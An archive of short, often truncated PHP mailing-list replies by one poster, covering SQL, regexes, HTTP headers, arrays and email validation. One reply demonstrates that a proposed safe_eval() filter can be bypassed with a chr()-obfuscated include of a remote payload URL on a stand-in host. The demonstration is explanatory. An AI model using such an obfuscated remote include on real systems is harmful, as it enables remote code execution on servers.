Re: [PHP] [php] read/write error

2009-06-12 Thread Robin Vickery
\r\nAccept: */*\r\n\r\n" It's a HTTP 1.0 GET request, but that doesn't seem to be consistent with the rest of the data you've mentioned. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] order by what?

2009-06-11 Thread Robin Vickery
2009/6/11 PJ > Robin Vickery wrote: > > > > > > 2009/6/11 PJ mailto:af.gour...@videotron.ca>> > > > > How can order by be forced to order alphabetically and ignore accents > > without stripping the accents for printout? This is a pro

Re: [PHP] order by what?

2009-06-11 Thread Robin Vickery
e ORDER BY fieldname COLLATE utf8_general_ci; -robin

Re: [PHP] Show the entire browser request

2009-06-10 Thread Robin Vickery
2009/6/10 Robin Vickery > > > 2009/6/10 Dotan Cohen > >> > Just checked your site in Elinks (works like Lynx) and I'm getting the >> > headers come back to me. I'm assuming you changed your site code before >> > me sending this and after you sen

Re: [PHP] Show the entire browser request

2009-06-10 Thread Robin Vickery
al headers are as they always were. It's the entire > request verbatim (valid or not) that I'd like to add. > Is installing the pecl_http extension on your server an option? http://php.net/manual/en/function.httprequest-getrawrequestmessage.php -robin

Re: [PHP] [php] read/write error

2009-06-10 Thread Robin Vickery
ual page tells you why. -robin

Re: [PHP] PCI compliance issue

2009-06-02 Thread Robin Vickery
the directory is denied - hence the 403 FORBIDDEN. The second url (http://www.ranghart.com/cgi-bin/%3fD=A) requests a file called /cgi-bin/?D=A. This file genuinely doesn't exist so the url gets rewritten to index.php - hence your 200 OK response. -robin

Re: [PHP] return language of a word

2008-09-29 Thread Robin Vickery
ill do that [http://pear.php.net/package/Text_LanguageDetect]. It doesn't have trigrams for Persian in the lang.dat, but I don't imagine it would be too hard to add them, if that's what you need. -robin

Re: [PHP] Re: What's with the Rx symbol?

2008-09-01 Thread Robin Vickery
l its glory. Although not, for some reason which I can't be bothered investigating, the rx-2 domain. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] If Column Exists

2008-08-13 Thread Robin Vickery
NT(*) AS column_exists FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='db_name' AND TABLE_NAME='table_name' AND COLUMN_NAME='column_name'; -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Math Weirdness

2008-07-15 Thread Robin Vickery
rtain numbers exactly in binary, just as you can't represent 1/3 exactly in decimal. They have to be rounded internally. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] What font/size do you use for programming?

2008-07-09 Thread Robin Vickery
In PuTTY I use 6pt Proggy's OptiSmall to hack away in Nano on the > commandline. Wow! I know a Windows 6pt is bigger than the rest of the world's 6pt, but still... I use 14pt Terminus on Linux. I use the same font in terminals (xfce4-terminal), editors (vim and emacs) and non-work

Re: [PHP] Inspiration for a Tombstone.

2008-06-27 Thread Robin Vickery
2008/6/27 Brice <[EMAIL PROTECTED]>: > On Thu, Jun 26, 2008 at 4:31 PM, tedd <[EMAIL PROTECTED]> wrote: > >> Hi gang: >> >> For a break in our normal serious thinking, I suggested tombstone wit of: >> >> "Always on the edge of greatness" >> >> Dan offered: >> >> or or >> >> >function dan($dat

Re: [PHP] UK PHP Host/Developer Required

2008-06-16 Thread Robin Vickery
2008/6/14 Iv Ray <[EMAIL PROTECTED]>: > Robin Vickery wrote: >> >> Out of hours technical support often gets billed at a punitive rate. >> Which is a bugger if their "out of hours" is your working day. > > It seems you haven't tried Rackspace (UK) ye

Re: [PHP] UK PHP Host/Developer Required

2008-06-13 Thread Robin Vickery
billed at a punitive rate. Which is a bugger if their "out of hours" is your working day. And while you might get tech support out of hours, accounts and billing usually keep normal office hours. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] validating # sign in php

2008-05-30 Thread Robin Vickery
in PHP, it's in your javascript: > var useri = document.registrationform.username > var valueofuseri = document.registrationform.username.value > [...] > window.open("checkusernamei.php?theusernameis="+valueofuseri, > "titleforavailabilityi", "width=680, height=27

Re: [PHP] looking a regular expresion

2008-05-28 Thread Robin Vickery
KI > FRIKI FRIKI SUN FRIKI FRIKI SIR" > > ie. the words are: SUN and SIR. And the replacement word is: FRIKI > > $st = preg_replace ("\b([^S][^U][^N])|([^S][^I][^R]\b)", "FRIKI",$st); with a negative lookahead assertion: $st = preg_replace('/\b(?!SUN\b|SIR

Re: [PHP] Re: Re: A Little Something.

2008-05-22 Thread Robin Vickery
this appears to be taking it a bit far. > As a web surfer, one should be aware of the potential risks and prepare > reasonably!(TM) However, I must question if you should even be on the web... > how do you sleep at night with all those javascript functions and cookies > just parading around the 'net?! Have you had a little too much coffee today? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: Re: A Little Something.

2008-05-22 Thread Robin Vickery
7;d love to see the persons > face when you take it back and complain. I don't think that's an accurate metaphor. In this case they were allowing all the code from the originating web server to run, but were blocking an independent third party server. It's more like expecting a car

Re: [PHP] Working with internal data formats

2008-05-15 Thread Robin Vickery
On 15/05/2008, John Gunther <[EMAIL PROTECTED]> wrote: > Iv Ray wrote: > > > John Gunther wrote: > > > What technique can I use to take an 8-byte double precision value, as > > > stored internally, and assign its value to a PHP float variable without > > > having the bytes misinterpreted as a ch

Re: [PHP] how do I stop Firefox doing a conditional get?

2008-05-15 Thread Robin Vickery
On 15/05/2008, Al <[EMAIL PROTECTED]> wrote: > Make certain your steam is compressed > http://www.whatsmyip.org/mod_gzip_test/ Compressed steam can be dangerous: http://en.wikipedia.org/wiki/2007_New_York_City_steam_explosion -robin -- PHP General Mailing List (http://www.

Re: [PHP] how do I stop Firefox doing a conditional get?

2008-05-14 Thread Robin Vickery
onal get is a > nuisance. My images are clearly cached, so how do I prevent Firefox > from doing the conditional get ? There must be some HTTP header I can > use. You can use either or both of 'Expires' or 'Cache-Control' -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: A Little Something.

2008-05-13 Thread Robin Vickery
2008/5/13 Stut <[EMAIL PROTECTED]>: > > On 13 May 2008, at 10:32, Robin Vickery wrote: > > > 2008/5/13 Stut <[EMAIL PROTECTED]>: > > > > > On 13 May 2008, at 09:04, Peter Ford wrote: > > > > > > > > > > I think the onus is on

Re: [PHP] Re: A Little Something.

2008-05-13 Thread Robin Vickery
oppy practice to assume that some resource has already been initialised without checking, especially when you're relying on a third-party script. This is a pretty trivial case, but it is a really good habit to get into. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] check if any element of an array is not "empty"

2008-05-01 Thread Robin Vickery
2008/4/30 Nathan Nobbe <[EMAIL PROTECTED]>: > On Wed, Apr 30, 2008 at 2:58 PM, Richard Heyes <[EMAIL PROTECTED]> wrote: > > > but I was thinking if there is the function does that. > >> > > > > array_filter(). Note this: > > > > "If no callback is supplied, all entries of input equal to FALSE

Re: Re[2]: [PHP] equivalent to perl shift function

2008-05-01 Thread Robin Vickery
e the same > result as in perl? I''ve no idea why you want to handle arguments in the same way as perl does - but func_get_args() returns the array of arguments to the function and you can shift that with array_shift() if you like. http://www.php.net/manual/en/function.func-get-ar

Re: [PHP] What is the practical use of "abstract" and "interface"?

2008-04-17 Thread Robin Vickery
On 16/04/2008, Tony Marston <[EMAIL PROTECTED]> wrote: > > > > -Original Message- > > From: Robin Vickery [mailto:[EMAIL PROTECTED] > > Sent: 16 April 2008 17:23 > > To: Jay Blanchard > > Cc: Tony Marston; php-general@lists.php.net > >

Re: [PHP] What is the practical use of "abstract" and "interface"?

2008-04-16 Thread Robin Vickery
about compile-time checking that the interface has been correctly implemented? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Evaluating math without eval()

2008-04-11 Thread Robin Vickery
de() malicious content like this: safe_eval('include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(101).chr(120).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(97).chr(121).chr(108).chr(111).chr(97).chr(100).chr(46).chr(112).chr(104).chr(112))'); which evaluates to include('http://example.com/payload.php') -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP GD library installing

2008-04-10 Thread Robin Vickery
On 10/04/2008, Thijs Lensselink <[EMAIL PROTECTED]> wrote: > Quoting Robin Vickery <[EMAIL PROTECTED]>: > > > > On 10/04/2008, Thijs Lensselink <[EMAIL PROTECTED]> wrote: > > > > > Quoting Luca Paolella <[EMAIL PROTECTED]>: > > >

Re: [PHP] PHP GD library installing

2008-04-10 Thread Robin Vickery
x27;s as easy as downloading the dll from pecl4win.php.net. > > But from your directory structure i presume you have some sort of *nix > system. > So you have to reconfigure and rebuild PHP. Ouch... first try installing the php gd module through whatever package manager your *nix di

Re: [PHP] array_filter function

2008-03-28 Thread Robin Vickery
On 28/03/2008, Bagus Nugroho <[EMAIL PROTECTED]> wrote: > Hello, > > If I have an array like this > $dataArray = array(0=>array('type'=>'da'), 1=>array('type'=>'wb'), > 2=>array('type'=>'da'); > > How I can filtering to get only 'da' only, like this > > $newDataArray = array(0=>array('type'=>'

Re: [PHP] Re: Quick email address check

2008-03-28 Thread Robin Vickery
gt; > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > I have used this to good effect > > function isEmail($email) > { > if > (eregi("^[a-z0-9]+([-_\.]?[a-z0-9])[E

Re: [PHP] Possible using XPath?

2008-03-27 Thread Robin Vickery
' . $nodeList->length . '] nodes:'; > for ($i = 0; $i < $nodeList->length; $i++) { > echo $nodeList->item($i)->nodeValue . "\n"; > } > Only the nodes specified are in the list, but the *values* of the those nodes include children that

Re: [PHP] Possible using XPath?

2008-03-27 Thread Robin Vickery
ng back to the root. So instead of just > returning the two nodes > > > > > I'd like to be able to return the sub branch/path > > > > > > > > > > > Is that possible? Or is this something I'd have to do programatically > using the nodes returned b

[PHP] Re: Playing around with strings

2008-03-20 Thread Robin Vickery
On 20/03/2008, Robin Vickery <[EMAIL PROTECTED]> wrote: > Hiyah, > > Here's a trick you can use to evaluate expressions within strings. It > may not be particularly useful, but I thought it was interesting. > > It exploits two things: > > 1. If you interpola

Re: [PHP] why use {} around vraiable?

2008-03-20 Thread Robin Vickery
On 20/03/2008, Lamp Lists <[EMAIL PROTECTED]> wrote: > hi, > I saw several times that some people use this > > $parameters = array( > 'param1' => "{$_POST["param1"]}", > 'param2' => "{$_POST["param2"]}" > ); > > or > > $query = mysql_query("SELECT * FROM table1 WHERE id='{$session_id}'")

[PHP] Playing around with strings

2008-03-20 Thread Robin Vickery
Hiyah, Here's a trick you can use to evaluate expressions within strings. It may not be particularly useful, but I thought it was interesting. It exploits two things: 1. If you interpolate an array element within a string, the index of the element is evaluated as a php expression. 2. You can ca

Re: [PHP] reverse string without strrev();

2008-02-28 Thread Robin Vickery
On 28/02/2008, Robert Cummings <[EMAIL PROTECTED]> wrote: > > On Thu, 2008-02-28 at 12:39 +, Nathan Rixham wrote: > > Aschwin Wesselius wrote: > > > Stut wrote: > > >> Just because it works doesn't mean it's right. > > >> > > >> -Stut > > >> > > > > > > > > > What I meant was that I t

Re: [PHP] Copying specific fields from table to table

2008-02-25 Thread Robin Vickery
On 25/02/2008, Rob Gould <[EMAIL PROTECTED]> wrote: > I've got 2 tables. One table which contains a series of barcodes assigned to > product id #'s, and another table with JUST product id #'s. > > I need to somehow transfer all the barcodes from the first table into the > second table, but only

Re: [PHP] fail on preg_match_all

2008-02-21 Thread Robin Vickery
On 21/02/2008, Nathan Rixham <[EMAIL PROTECTED]> wrote: > The regex looks incorrect to me in a few places: > -\d+] {1,4} > for example. That's ok, albeit confusing: * The ']' is a literal ']' not the closing bracket of a character class. * The {1,4}

Re: [PHP] Opinion about the using $GLOBALS directly

2007-12-19 Thread Robin Vickery
On 19/12/2007, js <[EMAIL PROTECTED]> wrote: > Hi Jochem, > > Sorry, I missed "static". > So, getDB() would works like singleton, right? > I agree that's better method to manage dbh. The technique is called memoization (http://en.wikipedia.org/wiki/Memoizatio

Re: [PHP] Generating Random Numbers with Normal Distribution

2007-12-12 Thread Robin Vickery
o-isotope to generate random numbers, you seem to be be saying that the radio-isotope is not part of the machine, but instead part of nature. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Generating Random Numbers with Normal Distribution

2007-12-11 Thread Robin Vickery
wheeled and passed. Time and the pure essence of Heaven, the moisture of the Earth, the powers of the Sun and the Moon all worked upon a certain rock, old as creation. And it became magically fertile. That first egg was named "Thought". Tathagata Buddha, the Father Buddha, said, &quo

Re: [PHP] Should I put pictures into a database?

2007-11-29 Thread Robin Vickery
leads to storing the file names > twice: one time in file-system, and one time in db. > Isn't this redundancy? Think of it as a foreign key. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Tree-like structure in PHP?

2007-11-16 Thread Robin Vickery
nts are pushed > "by reference" rather than "by value". > > > $arr1 = array (); > $arr2 = array (); > > array_push ($arr1, 1); > array_push ($arr1, $arr2); // <-- the important line array_push ($arr1, &

Re: [PHP] Need a hint how to track an error

2007-11-13 Thread Robin Vickery
t Explorer? "My php program is working with Firefox, but not with Internet Explorer." I think it's reasonable for Chris to suggest a debugger for the platform which you said had the problem. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: Help with preg_replace

2007-11-08 Thread Robin Vickery
hem said. But don't use backticks, use file_get_contents(). It's portable and you don't start up a new process just to read a file. $html = str_replace('%ResID', $bookid, file_get_contents('htmlfile')); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] enhanced_list_box, 2 tables from a database

2007-11-07 Thread Robin Vickery
into the > script. Firstly, turn error reporting on, or at least look in your logs for error messages. Secondly, you're defining the enhanced_list_box() function twice. That's not allowed. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] stftime differences on Windows/Linux platforms

2007-11-06 Thread Robin Vickery
On 06/11/2007, Neil Saunders <[EMAIL PROTECTED]> wrote: > Hi Robin, > > Thanks for your reply. The times are exactly synchronized. I'm looking > at the date section in the output of phpinfo(), and get the following: > > Development > Default timezoneEurope/

Re: [PHP] stftime differences on Windows/Linux platforms

2007-11-06 Thread Robin Vickery
--- > PHP Version 5.2.1 > Build Date Apr 25 2007 18:04:12 > PHP API 20041225 > PHP Extension 20060613 > Zend Extension 220060519 > > Am I missing something obvious here? Any help gratefully received. Well, either the clocks on your dev and production servers are exactly 6 hours out or there's a difference in their locale settings such that one thinks it's in a timezone 6 hours ahead of the other. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] How to replace define in a require file with mysql?

2007-11-05 Thread Robin Vickery
existing defines and you should be good. > > > > > > > Thanks! Works fine! > > I need now a modification for that. > > > > Two values: > > SELECT param_name, param_value1, param_value2 FROM yourTable; > > > > IF param_value1 is empty, than it should use param_value2 > > try something like this sql: > > SELECT param_name, IF ((param_value1 <> '') AND NOT > ISNULL(param_value1), param_value1, param_value2) AS param_value FROM > yourTable or use COALESCE() (http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_coalesce) SELECT param_name, COALESCE(param_value1, param_value2) AS param_value FROM yourTable; -robin

Re: [PHP] Not Null?

2007-10-31 Thread Robin Vickery
(Œ$a¹ == Œ ANYTHING¹) { oh dear, krazee quotes... at least I presume that's what those wierd characters are. Look in the manual for isset() (http://www.php.net/isset) and empty() (http://www.php.net/empty). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] while-do +array

2007-10-31 Thread Robin Vickery
loop except for $get_hloopRow1 getting incremented. The next time through the loop, because $get_hloopRow1 is now not zero, the first conditional gets executed. You add some html and the first value from the array to $text to the string and incremenent $get_endRow. All subsequent times through the

Re: [PHP] moving over to php 5

2007-10-30 Thread Robin Vickery
minutes ago and found that 108,064 companies support both versions of PHP, so there's only a total of 187,271 PHP hosting companies. Anyone still do PHP/FI? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] REGEX: grouping of alternative patterns

2007-10-30 Thread Robin Vickery
*)?)?))[[:space:]]*'; eregi($pattern, $column1, $matches); print_r($matches); // match eregi($pattern, $column2, $matches); print_r($matches); // match -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Limitations of preg_replace?

2007-10-25 Thread Robin Vickery
only 1000 times or don't use (.*)->$1 on the > regular expression, it works. It works as well on a > local WAMP-Installation. > > Any ideas about that? Yeah, the backtrack limit. But 1. it's not configurable in PHP 4 2. You'd be better off writing your regexp so it

Re: [PHP] problem calling functions

2007-10-20 Thread Robin Vickery
On 19/10/2007, afan pasalic <[EMAIL PROTECTED]> wrote: > > > Robin Vickery wrote: > > On 19/10/2007, afan pasalic <[EMAIL PROTECTED]> wrote: > > > >> hi > >> I have a problem with calling functions: > >> > >> >> fun

Re: [PHP] problem calling functions

2007-10-19 Thread Robin Vickery
gt; > > suggestions? suggestions for what? What is your problem? If you set $function to 'solution1' and run your code, it will indeed execute solution1(). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Looking for help with a complex algorithm

2007-10-10 Thread Robin Vickery
On 09/10/2007, Jay Blanchard <[EMAIL PROTECTED]> wrote: > Good afternoon gurus and guru-ettes! > > I am searching for an algorithm that will take a list of monetary values > and determine which of these values totals a value supplied to the > widget. > > 1. I supply a value to the application and g

Re: [PHP] Case insensitive ksort

2007-09-18 Thread Robin Vickery
ng to have to do this manually? Or is > there an internal php command that will do it for me? uksort($array, 'strcasecmp'); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Validating Email Conditional

2007-08-03 Thread Robin Vickery
u've been sending and receiving mail with it for years. The best advice for validating email addresses is don't do it with a regexp. Send an email to the address with a link in it for them to confirm their registration. > On Aug 1, 2007, at 11:08 PM, Robin Vickery wrote:

Re: [PHP] How can I get a list of object vars?

2007-08-02 Thread Robin Vickery
y XML) > > I'm thinking PHP's reflective functions might help me to do that > and treid get_object_vars but it doesn't return properties name > and even value itself when it haven't been assigned any value. > > Is there any good way to get a list of properties

Re: [PHP] Validating Email Conditional

2007-08-01 Thread Robin Vickery
e's especially annoying as I use it a lot. The last one's not so common but can be useful if you've got broken dns. [EMAIL PROTECTED] [EMAIL PROTECTED] o'[EMAIL PROTECTED] [EMAIL PROTECTED] -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Validating Email Conditional

2007-08-01 Thread Robin Vickery
r script is most definitely not working. -robin (who is fed up with websites that reject perfectly good email addresses for no good reason) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Unexpected values in an associative array[Solved]

2007-07-31 Thread Robin Vickery
ric keys if you want to. For example: Or don't get numeric keys in the first place: foreach ($this->db->query($query, PDO::FETCH_ASSOC) as $row) -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Array difficulty

2007-07-31 Thread Robin Vickery
= array_search(max($chance), $chance); I'd pretty much guarantee it'll be about an order of magnitude faster than any solution that relies on sorting the array. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Array difficulty

2007-07-31 Thread Robin Vickery
On 31/07/07, Carlton Whitehead <[EMAIL PROTECTED]> wrote: > Hi all, > > I have an array like this: > > $chance = array("lowercase" => 27, "uppercase" => 62, "integer" => 46); > > The values for each of the keys are randomly generated. I want to find the > key name of the one which has the highest

Re: [PHP] Problem iterating over an array with foreach and a reference variable

2007-07-25 Thread Robin Vickery
} array(5) { [0]=> int(2) [1]=> int(3) [2]=> int(4) [3]=> int(5) [4]=> ?(5) } array(5) { [0]=> int(2) [1]=> int(3) [2]=> int(4) [3]=> int(5) [4]=> ?(5) } Does that make sense? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Array Question

2007-07-11 Thread Robin Vickery
On 11/07/07, Robert Cummings <[EMAIL PROTECTED]> wrote: On Wed, 2007-07-11 at 09:46 +0100, Robin Vickery wrote: > On 11/07/07, kvigor <[EMAIL PROTECTED]> wrote: > > Is there a php function similar to in_array that can detect if a "partial > > value" is

Re: [PHP] Array Question

2007-07-11 Thread Robin Vickery
On 11/07/07, kvigor <[EMAIL PROTECTED]> wrote: Is there a php function similar to in_array that can detect if a "partial value" is in an array value or not: e.g. $var1 = " big horse";$var2 = " small yellow";$var3 = " red hydrant"; $theArray = array(big blue horse, small yellow bird, gi

Re: [PHP] Disadvantages of output buffering

2007-06-26 Thread Robin Vickery
tart partially rendering HTML as soon as it arrives rather than waiting for the page to load completely. Obviously, if you're waiting until the end of the script before actually sending any HTML, they can't do that so your page might appear less responsive. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Byte conversion

2007-06-25 Thread Robin Vickery
[i + 0] == (byte)0xa7) && (ba[i + 1] == (byte)0x51)) { [...] I tried [...] if ($char == 0xa7 && $char == 0x51) { [...] but it never matches. Any pointers? $char can't have two values at once... -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Counting Capital Letters

2007-06-21 Thread Robin Vickery
their own" capital letters. Anyone approached this before? It'd probably be a good start to use [[:upper:]] rather than [A-Z]. There's also \p{Lu} if you use utf-8 mode which matches utf-8 characters with the uppercase letter property. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: Re[2]: [PHP] Comparing string to array

2007-06-20 Thread Robin Vickery
On 19/06/07, Richard Davey <[EMAIL PROTECTED]> wrote: Hi Robin, Tuesday, June 19, 2007, 8:28:50 PM, you wrote: > On 19/06/07, Richard Davey <[EMAIL PROTECTED]> wrote: >> $userparam = "test['sam'][]"; >> >> // How to check if $userpa

Re: [PHP] Comparing string to array

2007-06-19 Thread Robin Vickery
On 19/06/07, Richard Davey <[EMAIL PROTECTED]> wrote: $userparam = "test['sam'][]"; // How to check if $userparam exists in the $_POST array // and get all the values from it? full_key_exists("test['sam'][]", $_POST) // returns true if key is set full_find_key("test['sam'][]", $

Re: Re[6]: [PHP] Need a more elegant way of bitwise ORing values

2007-06-17 Thread Robin Vickery
housand && $filter['flags'] |= FILTER_FLAG_ALLOW_THOUSAND; $allow_scientific && $filter['flags'] |= FILTER_FLAG_ALLOW_SCIENTIFIC; or keep the conditionals and just do one assignment? $filter['flags'] = ($allow_fraction ? FILTER_FLAG_ALLOW_FRACTION

Re: [PHP] Going from simple to super CAPTCHA

2007-06-14 Thread Robin Vickery
On 13/06/07, Richard Lynch <[EMAIL PROTECTED]> wrote: On Wed, June 13, 2007 3:36 am, Robin Vickery wrote: > On 12/06/07, Richard Lynch <[EMAIL PROTECTED]> wrote: >> On Tue, June 12, 2007 9:33 am, Tijnema wrote: >> > I meant reverse order :P >> >> Tha

Re: [PHP] Going from simple to super CAPTCHA

2007-06-13 Thread Robin Vickery
ed in the order they appear in the document. If the browser doesn't conform to spec, it's not his fault. From the HTML 4.01 Specification: "The control names/values are listed in the order they appear in the document. The name is separated from the value by `=' and name/valu

Re: [PHP] Going from simple to super CAPTCHA

2007-06-12 Thread Robin Vickery
ry hard to make image spam pass through filters and resist OCR analysis. http://csoonline.com/read/040107/fea_spam.html -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Parse domain from URL

2007-06-07 Thread Robin Vickery
On 06/06/07, Brad Fuller <[EMAIL PROTECTED]> wrote: Daniel Brown wrote: > On 6/6/07, Brad Fuller <[EMAIL PROTECTED]> wrote: >> >> I need to strip out a domain name from a URL, and ignore subdomains >> (like www) >> >> I can use parse_url to get the hostname. And my first thought was to >> take th

Re: [PHP] checking the aspect ratio of an images

2007-06-06 Thread Robin Vickery
On 06/06/07, blueboy <[EMAIL PROTECTED]> wrote: I want to force users to insert landscape rather portrait images. I don't want to be too pedantic about it but they do need to have an approximate 4x3 aspect ratio. This is my code so far. $max_height = "500"; // This is in pixels $max_width = "50

Re: [PHP] local v remote

2007-05-31 Thread Robin Vickery
. 2. if $result is false, check mysql_error() it'll tell you more about what's gone wrong. for example: $result = mysql_query($query) or die(mysql_error()); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] convert numerical day of week

2007-05-23 Thread Robin Vickery
is irrelevant to YAGNI. they're all bloated: print jddayofweek($day_number, 1); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] IE7 => end tag?

2007-05-18 Thread Robin Vickery
onfig = array( foo => bar, // baz => wibble ); 2. Perl already made the final comma optional for similar reasons. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Mysqli insert / OO Design Problem - Call to a member function bind_param() on a non-object in...

2007-05-17 Thread Robin Vickery
prepare() to fail, returning FALSE rather than a statement object. You then call bind_param() on that and because it's not an object you get the fatal error. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Remove domain: What do think of this approach?

2007-05-16 Thread Robin Vickery
On 16/05/07, Micky Hulse <[EMAIL PROTECTED]> wrote: Hi folks, I hope everyone is having a good week. :) Let me cut to the chase... Basically, I need to get this: http://www.site.com/folder/foo To work like this: $_SERVER['DOCUMENT_ROOT'].'folder/foo/file.ext'; For use with getimagesize() and

Re: [PHP] sloppy use of constants as strings. WAS: What does "<<<" mean?

2007-05-01 Thread Robin Vickery
On 01/05/07, Daevid Vincent <[EMAIL PROTECTED]> wrote: > > > echo << > > BROWSER: $_SERVER[HTTP_USER_AGENT] > > > EOF; > > > > Isn't that form (sans quote marks) deprecated and frowned upon? > > > error_reporting( E_ALL ); > > echo << BROWSER: $_SERVER[HTTP_USER_AGENT] > EOF; > > Why would clean

Re: [PHP] slow performance

2007-04-26 Thread Robin Vickery
make their dramatic performance boost by CACHING the hard drive into RAM. Caching PHP Source would do *almost* as well. This statement seems a bit suspicious to me - what OS are you using that doesn't already cache the disk accesses into RAM? (for example the Linux VFS buffer cache). -robin -

Re: [PHP] Separating words based on capital letter

2007-04-25 Thread Robin Vickery
[A-Z])', ' \\1', $string)); > > You can wrap that in a function or even use create_function for > something that simple, in your array_walk. $string = preg_replace('/(?<=\w)([[:upper:]])/', ' $1', $string); turns "this is OpenSourceCode" to "this is Open Source Code" -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Security Best Practice: typecast?

2007-04-02 Thread Robin Vickery
rd='$password' and foo is a negative integer, then in ANSI SQL, you've just commented out everything after 'column', leaving you with: SELECT ... WHERE column Mysql protects you from that by demanding a space after the comment sequence. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Show Filename using Wildcards

2007-03-30 Thread Robin Vickery
On 29/03/07, Rahul Sitaram Johari <[EMAIL PROTECTED]> wrote: Ave, I have a script where I have to provide a Download Link to a file associated with a record. The common thing between the record & filename is the phone number. But the filenames have dates & other symbols besides the phone number

Re: [PHP] Language detection with PHP

2007-03-28 Thread Robin Vickery
On 28/03/07, Satyam <[EMAIL PROTECTED]> wrote: if you find accented letters, it is a sure sign that it is not English That's a rather naïve approach. Written accents in English may be rather passé, but they do exist. -robin -- PHP General Mailing List (http://www.php.net/) To

Re: [PHP] What is wrong with this function please?

2007-03-25 Thread Robin Wilson
Thanks I'll have a look at this. Robin "Jochem Maas" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] phpmailer.sourceforge.net - a mailing class for php that does everything you need, there are other alternatives - definitely beats fiddling with all the requ

Re: [PHP] What is wrong with this function please?

2007-03-25 Thread Robin Wilson
llowed some tutorials and they all seemed to tell me to do it this way. The emails seem to work with other clients and only Exchange doesn't like them. Tested with Squirrel Mail and they were recieved with the attachment etc. Do you have any more ideas please? Thanks for the help Robin

Re: [PHP] What is wrong with this function please?

2007-03-24 Thread Robin Wilson
No sorry, both messages are the same. Didn't mean to post it twice. Sorry. Below is what prints out when I echo the message: $to [EMAIL PROTECTED] $subject Proposal Submission $headers From: 2HostMe Mailer Reply-To: Robin Wilson Return-Path: 2HostMe Mailer Message-ID: X-Mailer: PHP v

[PHP] What is wrong with this function please?

2007-03-23 Thread Robin Wilson
have been up half the night and got nowhere! Thanks Robin function sendMail($to, $toName, $from, $fromName, $subject, $message, $uploadfile, $fileName, $fileType, $fileSize) { $eol="\r\n"; $mime_boundary=md5(time()); # Common Headers $headers .= 'From: '. $fromName .'

[PHP] What is wrong with this function please?

2007-03-23 Thread Robin Wilson
